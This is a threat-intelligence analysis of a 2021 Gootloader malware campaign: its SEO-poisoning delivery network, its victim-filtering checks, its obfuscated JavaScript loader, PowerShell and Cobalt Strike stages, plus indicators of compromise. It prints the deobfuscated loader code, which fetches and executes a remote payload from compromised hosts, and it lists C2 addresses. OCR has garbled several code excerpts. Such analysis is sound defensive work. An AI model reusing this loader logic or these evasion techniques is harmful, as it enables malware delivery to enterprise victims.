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The ongoing Gootloader campaign expands its scope to highly sensitive assets worldwide
including financial, military, automotive, pharmaceutical and energy sectors, operating on an
Initial Access as a Service model.

Executive Summary

¢ Since the beginning of Jan 2021 an active Gootloader campaign has been observed in
the wild expanding its scope of interest to a wider set of enterprise verticals worldwide.

» Analysis of over 900 unique droppers reveals that the campaign targets diverse
enterprise and government verticals including military, financial, chemistry, banks,
automotive, investment companies and energy stakeholders, primarily in the US,
Canada, Germany, and South Korea.

e Around 700 high-traffic compromised websites were used as a delivery network.

o The campaign uses tailored filenames to lure targets in a typical form of social
engineering.

» This campaign has a low static detection rate alongside robust sandbox evasion
techniques and ‘fileless’ stages.
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» Considering the wide distribution of the campaign and the heterogeneity of its deployed
arsenal, we assess that Gootloader acts as an ‘Initial Access As a Service’ provider,
after which a variety of tools may be deployed.

Introduction

We have been tracking an active Gootloader campaign aimed at enterprise and government
targets worldwide. The primary industries of interest appear to be U.S. military,
governmental, and financial entities, trading, mining, green energy, game industries and
automotive companies, as well as their suppliers and service providers.

First spotted in 2014, Gootkit was born as a banking trojan. It has since evolved to become
more of an infostealer, operated by what appears to be a cluster of actors. The name
‘Gootkit’ is often used interchangeably to refer to both the malware and the group, but that’s
admittedly loose. In March 2021, Sophos were the first to identify the multi-payload delivery
platform and call it “Gootloader”.

Early activity of Gootloader campaigns was first spotted by security researcher @ffforward in
late 2020 and later published by ASEC, malwarebytes, and TrendMicro. Pivoting on those
findings, we were able to gather a sizable amount of malicious artifacts related to the same
Gootloader campaign. We collected about 900 JavaScript (js) droppers from a period of four
months (1 Jan 2021 — 25 April 2021) by leveraging this Gootloader_JavaScript_infector
YARA Rule. Our aim is to deepen our understanding of the Gootloader service platform and
the selective nature of this campaign: topics that haven’t been investigated at scale.

The campaign uses customized filenames to lure targets through SEO poisoning, with the
name of the js loader playing an active part of the social engineering process. For this
reason, we deemed that in this campaign the filenames provided a strong indication of the
contents victims were interested in searching for and, by extension, the scope of the
intended targets.

The detection rate of these artifacts on by VirusTotal engines is very low and ranges from 1
to 7:
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Low detection on VirusTotal
Moreover, considering that the subsequent stages are downloaded and executed in-memory,
this ‘fileless’ mechanism is very effective at evading standard sandboxes.

The Stealthy JS Loader

The core component of Gootloader is a small js loader (2.8 KB) that acts as the first-stage of
the infection chain. It's not new, and the same artifact is used in other Gootkit campaigns.
The loader is composed of three highly obfuscated layers that contain encoded URLs. These
form part of a network of compromised websites used to deliver the final payload, typically
one of the malware families listed below:

o BlueCrab (mostly targeting Korean Users)
Cobalt Strike Beacons

Gootkit

Kronos

Revil

We see Gootloader as a cluster of activity representing an ‘Initial Access as a Service’
business model, allowing it to distribute malware for different cybercrime groups for affiliate
fees. All of the above payloads are known ‘MaaS’ (Malware-as-a-Service) families that thrive
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on affiliate distribution models. Seeing that in some cases the payload distributed is Cobalt
Strike, we cannot exclude that the Gootloader operators are conducting their own
reconnaissance or credential harvesting for further gain.

Analyzing the JavaScript components was made drastically easier with the use of HP’s
Gootloader decoder to automate the deobfuscation and extraction of embedded URLs and
content.

The beautified version of the js loader’s first layer reveals the malicious logic:

|function once(str) |
return str.length;

}

|function door (am, exact, wonder, current) ({
did[ ] = think;
numeral ='\"?+x\"'kpshrpa.bhkcxreaxexsj

l;a)c\'eP(T/T(H\\LdM{XZ2r}e)v/rge,S .fZuLnMcXtSiMo\'n( t{(cJe)] b{0O erteateu Cn. tSpt ricnSgW. f=
,,,,,,, - 1c [h3 E P m oWcS.ckrui-pstu.iQnueigtr(h).;w w}w eelds.em u{i

student = (0;}

|function arrange (pound, turn) {

enough =t ;
until =
iron = [1;
| for (have = 0U; have <= (once (pound) - enough); have++) {
| if (the(pound, have, enough) == turn) {
iron[once(iron)] = the((pound), until, (have - until)):;
1mnril = hawa 4+ an~Anah -

js loader 1st layer
Once deobfuscated, we obtain the 2nd layer:

try ( shell["RegRead"+""] (key): }

lcatch (e) {
dress["RegWrite”] (key, "", "RE ") ;

e=31-28;kill=55;}
ltry (

moon[e]
{

scale('\"2+x\ 'k

)i}

uftywhfmg=moon;

DECODED

js loader 2nd layer
And finally the cleartext (and beautified) version:
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DECODED

R = ["www.joseph-koenig-gymnasium.de","hrgenius-uk.com","hccpa.com.tw"];
£=0;
while (£<3){
n= WScript.CreateObject ('MSXMLZ.ServerXMLHTTP') ;
A=Math.random() .toString() 1(2,70+30);
if (WScript.CreateObject ("WsS Shell") .ExpandEnvironmentStrings ("$USERDNSDOMAINS") I|= "$USERDNSDOMAIN%") {
A=A+"278146";
try(n.open('GET', 'https"//'+k[f]+'/search.php'+"?xksrabkxexxje="+a,false);
n.send () ;

}

catch(e) {return false;}
if (n.status === Z00){

var m = n.responseText;
if((m.indexOf ("@"+A+"@",0)) == -1) (WScript.sleep(22222);}
else{ m = m.replace ("QE"+A+"E","");
var E = m.replace(/(\d(2})/g , function (j){ return String.fromCharCode (parseInt(j,10)+30);});
moon [3](E) () ;
WScript.Quit() ;}
}
else{WScript.sleep(22222) ; }f++;}

js loader decoded

From the decoded script we can now see how Gootloader performs some target filtering to

ensure that the victim is a part of an Active Directory domain via expanding the
"%USERDNSDOMAIN%" environment variable.

A=MITN.Yanacmi} .TOSTr1Ng () L "SUDSTIr =] (£, /U+3U) ;
if (WScript.CreateObject ("WScript.Shell") .ExpandEnvironmentStrings ("$USERDNSDOMAINS") != "$USERDNSDOMAIN%") {
A=A+"27814¢";

Checking to see if the user is an AD domain

If the check returns true, then it appends an id (278146 in the above example) at the end of
the query string and requests the next stage from one of the websites contained in the ‘K’
array.

Gootloader Delivery Platform

In this section, we examine how the Gootloader delivery network works, starting with the
distribution of the js loader using a social engineering lure all the way to the final payload.

The delivery network is composed of two levels. The first level consists of compromised well-
ranked websites indexed by Google and hijacked by threat actors to host a js redirector.

pt’ sr‘c='m2:éé—omé?azcd85e=141?923'><z’scr*ipt></p>
in eine hohere Lohngruppe eingeteilt. Theoretisch ist es fir einen wiss:
en. Der hdufigste Fall ist die Anerkennung von Elternurlaubszeiten fir |

Hijacked websites host a js redirector

At the time of writing, we estimate there are around 700 different compromised websites
worldwide.

The script embedded on these compromised websites is responsible for performing the
following checks via HTTP headers before delivering the js loader to the target:

« referral: check that the request comes specifically from a Google search
« first time condition: check that the host/machine has not previously visited the site
¢ timezone: check the timezone based on the requester IP
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The timezone check is particularly interesting: in our analysis, the Gootloader platform
apparently ‘geofences’ its intended targets by only deliverering malware if the victim comes
from specific countries: the US, Canada, Germany, and South Korea.

If any of the above conditions is not met, then the redirector builds a dummy page without a
malicious component for the user, such as the following:

Tarifvertrag einzelhandel gehaltsgruppen bayern

i= Non classé admin @ aoit5,2020

Ubernehmen beispielsweise Nachwuchsgruppenleiter ein Projekt mit mehr Forschungsverantwortung, werden sie in der Regel
auch in eine héhere Lohngruppe eingeteilt. Theoretisch ist es flr einen wissenschaftlichen Mitarbeiter moglich, ein niedrigeres
Gehalt als bisher zu erhalten, da er tatsichlich auf Erfahrungsstufe 1 von vorne anfangen miisste. Die Tarifvertrage sehen jedoch
vor, dass dies niemals geschehen darf und dass das Personal auf ein hoheres Erfahrungsniveau mit mindestens dem gleichen
Gehalt versetzt wird. Rechtlich sind keine klaren Grundsétze fiir die Beurteilung der Rechtmafigkeit und der Folgen von
Streitigkeiten festgelegt, insbesondere gibt es zu diesem Thema keine Rechtsprechung des Obersten Gerichtshofs. Die
Legitimitat von Streiks als Eine Form von Arbeitskampfmitteln durch Arbeitnehmer ist nicht zuletzt aus den gesetzlichen
Bestimmungen zu schliefien, die die Unparteilichkeit des Staates gewdhrleisten. Diese Legitimation gilt jedoch nur fir Streiks,
die von der Arbeitnehmerseite als solche kollektiv als kollektiv durchgefiihrt werden (Gesamtaktion). Im Allgemeinen bezeichnet
der Begriff jede Form der kontradiktorischen Konfrontation tiber die Entlohnung oder andere Beschaftigungsbedingungen
zwischen einzelnen Arbeitgebern oder Arbeitgeberverbanden einerseits und Gewerkschaften oder Arbeitnehmergruppen
andererseits. Zu den Formen von Arbeitskampfmafinahmen, die bei solchen Streitigkeiten zum Einsatz kommen, gehdren
Streiks, Aussperrungen und (moglicherweise) Boykottmafinahmen. Juristisch wird unterschieden zwischen einem
Wirtschaftsstreik, einem Wirtschaftsstreik (Wirtschaftsstreik), einem politischen Streik( politischen Streik), inoffiziellem Streik
(wilder streik), selektivem Streik (Schwerpunktstreik), einem symbolischen Streik als Warnstreik und Teilstreik (Teilstreik) und, im
Falle von Aussperrungen, zwischen einer offensiven Aussperrung, die einen Streitausldsten einleitet (Angriffsausaussperre) und
einer Abwehrsperre. Da es in Osterreich jedoch so wenige Arbeitskampfe gibt, ist selbst der Expertenansatz im Wesentlichen
theoretisch.

Dummy page for uninteresting visitors
Otherwise, the embedded script automatically builds and displays a fake forum page
containing a thread relevant to the user’s search content, along with the link to the js loader:
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QUESTIONS AND ANSWERS

Questions News Search About Us

scheduling agreement pl?

#1 2021/0447 10:51 pm

Emma Hill Hi, | am looking to scheduling agreement pl. A friend of mine told me he had seen it on your forum. | will appreciate any help here.

&

Newbie

#2 2021/04/18 9:42 am

Admin [ Here is a direct download link, scheduling agreement pl ]

—
Administrator

#3 2021704118 712 pm

Emma Hill Thank you so much for your response! This is exactly what I've been looking for.

Fake forum page for interesting targets
The compromised websites use old and vulnerable CMS versions that have been exploited
to insert the malicious script.

During our analysis, we were able to extract the exploited domains used as a second-level
delivery network for this campaign (the list is not exhaustive):

www|[ . Jkartatatrzanskal.]pl

www|[ . JThrgenius-uk[.]com

www|[ .]joseph-koenig-gymnasium[ . ]de
www[ . Jhagdahls[.]com

www|[ . ]formenbau-jaeger[.]de

www[ . ]fabiancoutoxp[.]com[. ]Jar
www[ .]cristianivanciu[.]ro

www[ . Jcommunityhalldp[.]Jorg[.]uk
www|[ .]hoteladler[.]it

www|[ . JThandekazanoval .]com

www|[ . Jhccpal.]com[.]tw

www[ . Jforumeuropeendebioethique[.]Jeu
www|[ .]cwal@37[.]Jorg

www|[ .]Jedmondoberselli[. Jnet

www|[ .]ehiac[.]com

www[ . ]Jcljphotographyny[.]com
www|[ . Jcharismatrade[.]ro

www|[ . ]Jcommitment[.]co[.]at

www| . Jgiuseppedeluigi[.]com

www| .]esist[.]org

www[ . ]Jdischner-kartsport[.]de
www[ . Jespai3@lasagreral.]cat
www[ . Jkettlebellgie[. ]be

www[ . ]frerecapucinbenin[.]org
www|[ . Jadpm[.]Jcom[.]br
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The malicious link embedded into the fake page points to a .php resource. In turn, that
component is responsible for delivering the malicious loader to victims by pulling a zip
archive containing the js loader with the same name from the second level delivery network.

https://<2nd_level_compromised_domain>/about.php?
kiaorsruvr=kdwpx&id=6d6563463546734e487841532f31306d374b77736274446b70356€505257655464

The above URL reminds us of a typical webshell schema through which it's possible to track
campaigns and victims. Moreover, subsequent attempts to download the same file using the
same URL from the same machine will fail. Each download attempt automatically generates
a new URL. In fact, three different attempts from different IPs generate the following unique

URLSs:

Different IPs generate unique URLs
This substantiates the notion of a fully-automated assembly line process for malicious
bundles.

Once the malicious js loader is delivered to the victim and executed through the wscript.exe
process, it performs another request to one of the embedded domains belonging to the same
2nd level delivery network.

In the request, the loader passes a random-looking parameter ( “?wmsyxgsucnsif="")to the
search.php component, assigning a value to it. The assigned value consists of a randomly
generated numeric value followed by an ID that signals that the user is part of a domain.

The “?wmsyxgsucnsif=" query parameter changes for each analyzed dropper. By
extracting a few of them, we noticed differences in length:
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Iywoiqoagiqj Length: 12

Ulxoflokgzjuj Length: 13
Xksrabkxexxje Length: 13
Ulxoflokgzjuj Length: 13
Frzlewezxuqra Length: 13
Wehzijrczmewt Length: 13
Fzwuidcgfwpid Length: 13
Xrplomnpnofoc Length: 13
Jrnfrcbxrmwnr Length: 13
Zlurylnryiaupe Length: 14
Bhgtjmvrrnpttw Length: 14
Hmdfwcokgjutia Length: 14
Btvhenvucpmtvpta Length: 16
Vzhnbgsvkxxndgem Length: 16
Mnxcmedoofhmjhob Length: 16
Olwakhzcqflqgrbln Length: 16
Ecteaaaqztxogblrar Length: 18

We were able to populate at least five different clusters based on assigned lengths: 12, 13,
14, 16 and 18. A randomly generated, unique string is assigned to each loader. The query
parameter, at this stage, may be used for download tracking or other purposes.

Delivery of the Final Payload

If the js loader succeeds in contacting the C2, then it retrieves an encoded PowerShell
stager that in turn downloads the next payload and writes it to the registry as a list of keys.
The js loader then deploys additional PowerShell responsible for loading and decoding the
content hidden in the registry.
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Base64 obfuscated PowerShell

PowerShell content

The additional PowerShell is responsible for extracting the payload from the registry,
converting it from ascii into bytes through the chba() function then loading and
executing it by reflection.

At this point, the code spawns the ImagingDevices.exe process and injects itself into it via
process hollowing. As noted above, the injected payload varies between Cobalt Strike
Beacons and various well-konwn malware families such as REvil and Kronos.

INDICATOR DETAILS

Name ® ProcessHollowing

Category e Evasion

\ CobaltStrike beacon

@ @ ImagingDevices.exe

@ P Single Node
powershell.exe
@ R 8 Erents:2 G
_./' powershell.exe _\\' =1 ./ conhost.exe )

\\@ Events: 2 / \@ Single Node
M @ conhost.exe
\ Single Node
PowerShell execution chain

Analysis of the network communication allowed us to spot different network clusters
revolving around the following IPs:

e 23.106.122[.]245
. 78.128.113[]14
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ng’Sdb3d6f098784b1d96164d7ﬁ97eﬁe2e.bin

@ . <7 cobaltstrike_shellcode.exe
(83.106.122.245 el -
=5 Ev)

- Ir;;httpswzs.106.122.245fpixe|.gif

https://23.106.122.245/fwlink

/E:;http:{f'/8.128.113.14;’
- /_f::;https:r’r’78.128.113.14fj.ad
’__![‘f:.:;https:ﬁ?8.128.113.14/’ca
; . [5J, https://78.128.113.14/dot.gif
— — = ;‘_1;;https:WS.128.113.14fupdates.rss

—a e
t

T : (£ https://78.128.113.14/
- (1 https://78.128.113.14/load

5
I S .uf!:'Imagngevices.exe_Om14000-0x4e000.bin
S --i_.‘!'rm8c3950875842c4d481f4emaa25d30898eabbdfa5e9d44ca64921d41bece.sample
{5’ Decodea3.di

@y = ete

\:ﬁ' cobaltstrike_shellcode.exe

Network clusters

These two Cobalt Strike Team Servers now appear to serve Gootloader exclusively,
however, there appears to be some infrastructure overlap on 78.128.113[.14]. This particular
host has been observed as part of multiple Cobalt Strike-centric campaigns over the last
several years. It is not possible to conclusively say that the same “actor” or “group” has been
operating that infrastructure throughout the history of its misuse. That said, it is important to
note that while campaigns have varied, this host has constantly been utilized to stage and
serve CS Beacons and additional payloads, up to and including this ongoing Gootloader
campaign. It is reasonable to assume given such history that the host is at least partially
under control of an affiliate group.

Victimology

As evidenced by artifacts in the code, this ongoing Gootloader campaign is selective and
targets users from enterprise environments. Extrapolating from the variety of languages used
in various components of the campaign, we can surmise that the operators favored targets in
Korean, German and English-speaking environments.

MName Size
antrag_kostendbernahme_weiterbildung_arbeitgeber_muster.js IKE

2| gaap_accounting_for_non_compete_agreements,js IKE File names in different
A _F=(pof)js 3KE
languages
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The names of lures embedded into Gootloader samples also offer additional insights into the
nature of the desired targets. For example, the artifact ‘besa_national_agreement _2021.js’
(SHA1: b0251cOb26c6541dd1d6d2ch511c4f500e2606ce ) could suggest targets interested
in components supplied by an Italian manufacturing company that produces security valves.
Categorizing the loaders by their names, we can surmise targeted verticals:

Targeted Industries

Generic industries | .

Financial nsitutions/Banks 12

Commerce GGG ¢
Real Egate 9

Research/academy I

nfrastructure/Eng. I
Meda I S
Laws I 5

Chemicals/Pharma I 5

Automotive I

Industry

Manufacturing  IEEEEEGEEEE
Healthcare IEEEE——— 3
Carriers/IT I
Military  I— 3
Renewable Energy IS 7
Airlines — 2
Mining/Trade mm 1
nsurance 1
Food mEEE 1
5 10 15 20 25 30

# of loaders

Targeted industries

Interestingly, Korean loaders follow a different naming convention to that used for other
languages. Rather than using company names or specific entities, they use a more generic
naming scheme. This could indicate the presence of region-specific Gootloader operators
with their own TTPs. It's notable that despite not expressly targeting specific entities, these
infections continue to check for users that are part of corporate domains.

NAME TRANSLATION

FEE_HAil(egj).]js YouTube_Video(egj).js

SHEX ZE(fm).js ( Human Myeongjo_Font(fm).js

Ao| MAL_ A (1lep).js Slaughter_angel_game(lep).js
HtIZEMM== 24 (bo).Js Barcode generation program (bo).js
AAESYE_A|Z2_25}(jbk).js West World_Season 2 Episode 2(jbk).js
AEl A 22 (wdb).js Steam_Game_Free(wdb).js
Conclusion

We analyzed an ongoing Gootloader campaign attempting to lure professionals and
enterprise employees worldwide. The selective nature of this campaign, the option to deliver
multiple payloads, as well as the utilization of Cobalt Strike leads us to believe that
Gootloader is an ‘Initial Access as a Service’ provider primarily for ransomware operators.
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This malicious operation is still active at the time of writing and we continue to expect future
campaigns seeking additional targets and verticals. For that reason, we continue to actively
monitor Gootloader as a means of distribution for the next strand of widespread ransomware.

loCs Gootloader Q1 2021

MITRE TTPs

Js loader + powershell stage:
Initial Access (TA0001):

e T1566 Phishing
e T1566.002 Spear Phishing Link
e T0817 Drive-by Compromise

Execution (TA0002):

e T1059.007 Command and Scripting Interpreter: JavaScript
e T1059.001 Command and Scripting Interpreter: Powershell
e T1204.002 User Execution: Malicious File

Persistence (TAO003):

T1547.001 Boot or Logon Autostart Execution
Defence Evasion(TA0005):

T1027 Obfuscated Files or Information
Privilege Escalation(TA0004):

T1055.012 Process Injection: Process Hollowing

URLs (Delivery Network):

o www[.]Jhagdahls[.]Jcom/search[.]Jphp? | /about[.]Jphp?

o wwwl.]hoteladler[.]it/search[.]Jphp? | /about[.]Jphp?

o www[.]handekazanoval.Jcom/search[.]Johp? | /about[.]Jphp?

o www/[.]hccpal.Jcom[.]tw/search[.]Jphp? | /about[.]Jphp?

o www/[.]hrgenius-uk[.Jcom/search[.]Jphp? | /about[.]php?

» wwwl.]joseph-koenig-gymnasium][.]de/search[.]Jphp? | /about[.]Jphp?
o www/[.]kartatatrzanskal.]pl/search[.]Jphp? | /about[.]php?

o www[.Jedmondoberselli[.]net/search[.]Jphp? | /about[.]php?

o www[.Jcewa1037[.Jorg/search[.]php? | /about[.]php?

o wwwl.]Jehiac[.Jcom/search[.]Jphp? | /about[.]Jphp?
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o www[.]cljphotographyny[.Jcom/search[.]Jphp? | /about[.]php?
o www/[.]Jcharismatrade[.]Jro/search[.]Jphp? | /about[.]php?

o www[.Jcommitment[.]co[.]at/search[.]Jphp? | /about[.]php?

o www[.]Jgiuseppedeluigi[.Jcom/search[.]php? | /about[.]php?
o www[.]esist[.Jorg/search[.]Jphp? | /about[.]php?

o www/[.]dischner-kartsport[.]Jde/search[.]php? | /about[.]php?
o www/[.]Jespai30lasagrera[.]Jcat/search[.]Jphp? | /about[.]php?
o www[.]kettlebellgie[.]be/search[.]Jphp? | /about[.]php?

o www[.]forumeuropeendebioethique[.Jeu/search[.]Jphp? | /about[.]Jphp?

o www/[.]frerecapucinbenin[.]Jorg/search[.]ohp? | /about[.]Jphp?
o www[.]formenbau-jaeger[.]Jde/search[.]Jphp? | /about[.]php?
o www/[.]fabiancoutoxp[.Jcom[.]ar/search[.]php? | /about[.]php?

Cobalt C2

. 78.128.113[]14
e 23.106.122[.]245

Network Communication

e https://78.128.113[.]14/j.ad

o https://78.128.113[.]14/ca

e https://78.128.113[.]14/updates.rss
e https://78.128.113[.]14/load

o https://78.128.113[.]14/pixel.gif

o https://23.106.122[.]245/pixel.gif

o https://23.106.122[.]1245/fwlink

YARA

https://github.com/sophoslabs/loCs/blob/master/Troj-gootloader.yara<

SHA1s and Lures

Over 900 SHA1 hashes identified as part of the Gootloader Q1 2021 campaign along with
some of the most relevant lures and embedded URLs used for the delivery of the payloads:

https://github.com/SentineLabs/Gootloader-iocs-q1-2021
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